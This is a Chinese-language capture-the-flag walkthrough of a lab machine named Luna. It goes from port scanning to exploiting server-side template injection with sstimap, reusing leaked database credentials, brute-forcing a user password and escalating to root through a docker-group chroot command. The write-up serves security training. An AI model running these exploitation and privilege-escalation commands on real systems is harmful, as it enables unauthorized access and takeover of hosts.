<h1>Luna</h1>
<blockquote>
<a href="https://labs.thehackerslabs.com/machine/53">https://labs.thehackerslabs.com/machine/53</a>
</blockquote>
<img src="/post-images/TheHackersLabsLuna/image.png" alt="image.png">
<h2>Recon</h2>
<h3>PortScan</h3>
现在不知道为什么我的 nmap 总是会扫出来 25 和 110 端口
<pre><code class="hljs language-python">➜ Luna nmap -sT -min-rate 10000 -p- 192.168.56.133
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-28 15:49 CST
Nmap scan report for 192.168.56.133
Host is up (0.00085s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT STATE SERVICE
25/tcp open smtp
80/tcp open http
110/tcp open pop3
5000/tcp open upnp

Nmap done: 1 IP address (1 host up) scanned in 39.52 seconds
</code></pre>
<pre><code class="hljs language-python">➜ Luna nmap -sT -A -p 25,80,110,5000 192.168.56.133
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-28 15:50 CST
Nmap scan report for 192.168.56.133
Host is up (0.00054s latency).

PORT STATE SERVICE VERSION
25/tcp open tcpwrapped
|_smtp-commands: Couldn't establish connection on port 25
80/tcp open http Apache httpd 2.4.58
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.58 (Ubuntu)
110/tcp open tcpwrapped
5000/tcp open http Werkzeug httpd 3.0.3 (Python 3.12.3)
|_http-server-header: Werkzeug/3.0.3 Python/3.12.3
|_http-title: RodGar
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP|general purpose
Running: Actiontec embedded, Linux 2.4.X
OS CPE: cpe:/h:actiontec:mi424wr-gen3i cpe:/o:linux:linux_kernel cpe:/o:linux:linux_kernel:2.4.37
OS details: Actiontec MI424WR-GEN3I WAP, DD-WRT v24-sp2 (Linux 2.4.37)
Network Distance: 2 hops
Service Info: Host: 192.168.56.133

TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 0.33 ms 192.168.111.2
2 0.43 ms 192.168.56.133

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.33 seconds
</code></pre>
<h3>枚举</h3>
80 端口
<img src="/post-images/TheHackersLabsLuna/image1.png" alt="image.png">
5000 端口
<img src="/post-images/TheHackersLabsLuna/image2.png" alt="image.png">
<h2>SSTI</h2>
点击 <code>Greet me</code> 报错了，并且能知道调试已经开了
<img src="/post-images/TheHackersLabsLuna/image3.png" alt="image.png">
<table>
<thead>
<tr>
<th>信息类型</th>
<th>详细信息</th>
<th>意义</th>
</tr>
</thead>
<tbody>
<tr>
<td>框架/语言</td>
<td>Python 3.12, Flask, Werkzeug</td>
<td>目标是一个标准的 Python Web 应用。</td>
</tr>
<tr>
<td>文件路径</td>
<td><code>/var/www/RODGAR/venv/lib/python3.12/...</code></td>
<td>泄露了应用程序的部署路径。<code>RODGAR</code> 可能是项目名称、用户名或服务名。</td>
</tr>
<tr>
<td>主要应用文件</td>
<td><code>/var/www/RODGAR/app.py</code></td>
<td>确定了主应用文件的位置和名称。</td>
</tr>
<tr>
<td>调试模式</td>
<td>调试器显示 (Traceback)</td>
<td>服务器处于调试模式（通常生产环境不会开启），这提供了代码执行细节。</td>
</tr>
<tr>
<td>错误类型</td>
<td><code>werkzeug.exceptions.BadRequestKeyError: 400 Bad Request</code></td>
<td>客户端发送了错误的请求，服务器无法找到所需的键。</td>
</tr>
<tr>
<td>缺失的键</td>
<td><code>KeyError: 'name'</code></td>
<td>应用程序在处理请求时，期望找到名为 <code>name</code> 的参数，但未能找到。</td>
</tr>
</tbody>
</table>
从上面的信息能知道我们缺少 <code>name</code> 参数，并且将错误展开后会看到上下文代码，从中发现下面这段代码存在 <code>SSTI</code>
<pre><code class="hljs language-python">name = request.form['name']
template = f'''
&#x3C;DOCTYPE html>
... (HTML content)
'''
</code></pre>
测试 <code>SSTI</code>
<img src="/post-images/TheHackersLabsLuna/image4.png" alt="image.png">
存在 SSTI 我们直接上 <code>sstimap</code>
<pre><code class="hljs language-python">python sstimap.py -u 'http://192.168.56.133:5000/greet' -m POST -d 'name=*'
</code></pre>
<img src="/post-images/TheHackersLabsLuna/image5.png" alt="image.png">
我们指定 <code>--os-shell</code> 即可拿到 shell
<img src="/post-images/TheHackersLabsLuna/image6.png" alt="image.png">
然后进行反弹 <code>shell</code> 即可
<img src="/post-images/TheHackersLabsLuna/image7.png" alt="image.png">
<h2>横向移动</h2>
<h3>To juan</h3>
当前目录下存在 <code>config.php</code> ，却明明是 python 应用
<pre><code class="hljs language-python">www-data@TheHackersLabs-Luna:~/RODGAR$ cat config.php
cat config.php
&#x3C;?php
$servername = "localhost";
$username = "admin";
$password = "sporting";
$dbname = "rodgar";

// Crear conexión
$conn = new mysqli($servername, $username, $password, $dbname);

// Verificar conexión
if ($conn->connect_error) {
 die("Conexión fallida: " . $conn->connect_error);
}
?>
</code></pre>
成功登录进去
<pre><code class="hljs language-python">www-data@TheHackersLabs-Luna:~/RODGAR$ mysql -u admin -p
mysql -u admin -p
Enter password: sporting

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 9
Server version: 8.0.39-0ubuntu0.24.04.1 (Ubuntu)

Copyright (c) 2000, 2024, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
</code></pre>
存在 <code>juan</code> 用户的凭据，还有加密密码
<pre><code class="hljs language-python">mysql> select * from user;
select * from user;
+-------+----------------------------------+
| users | password |
+-------+----------------------------------+
| juan | YzBvW1VrbU0yTVRSVGU4QGpOLk0oOWIK |
+-------+----------------------------------+
1 row in set (0,01 sec)
</code></pre>
看着像是 base64 而不是 md5，通过 base64 能解密出来
<pre><code class="hljs language-python">c0o[UkmM2MTRTe8@jN.M(9b
</code></pre>
<img src="/post-images/TheHackersLabsLuna/image8.png" alt="image.png">
<code>juan</code> 用户能读取 user.txt
<pre><code class="hljs language-python">juan@TheHackersLabs-Luna:~$ cat user.txt
cat user.txt
a81xxxxxxxxxxxxxxxxxxxxxxxxxx0
</code></pre>
<h3>To jose</h3>
juan 家目录下还存在 <code>password.txt</code>
<pre><code class="hljs language-python">juan@TheHackersLabs-Luna:~$ cat pas
cat password.txt 
Tr0ub4dor&#x26;3
M0nkey!2024
L3tMeIn@2024
S3cur3P@ssw0rd
P@ssw0rd1234
G00dP@ssw0rd!
R3liable#2024
W1nter$2024
H@ppyD@y#1
4U&#x26;Me2Day!
B3stS3cur!ty
F1rst&#x26;Last@2024
</code></pre>
再看家目录下有几个用户，还有 <code>carmen</code>、<code>jose</code>、<code>john</code>
<pre><code class="hljs language-python">juan@TheHackersLabs-Luna:~$ ls /home
carmen john jose juan
</code></pre>
通过 <code>suForce</code> 来进行爆破
得到用户 <code>jose</code> 的密码 <code>W1nter$2024</code>
<img src="/post-images/TheHackersLabsLuna/image9.png" alt="image.png">
<h3>To root</h3>
拥有 docker 权限
<pre><code class="hljs language-python">jose@TheHackersLabs-Luna:~$ id
id
uid=1002(jose) gid=1002(jose) groups=1002(jose),111(docker)
</code></pre>
结束了，这里需要有网络获取镜像才行
<pre><code class="hljs language-python">sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
</code></pre>

Luna https://labs.thehackerslabs.com/machine/53 Recon PortScan 现在不知道为什么我的 nmap 总是会扫出来 25 和 110 端口 枚举 80 端口 5000 端口 SSTI 点击 Greet me 报错了，并且能知道调试已经开了 |...

TheHackersLabs - Luna

HackTheBox - Season9 - NanoCorp

HackTheBox - Machine - Voleur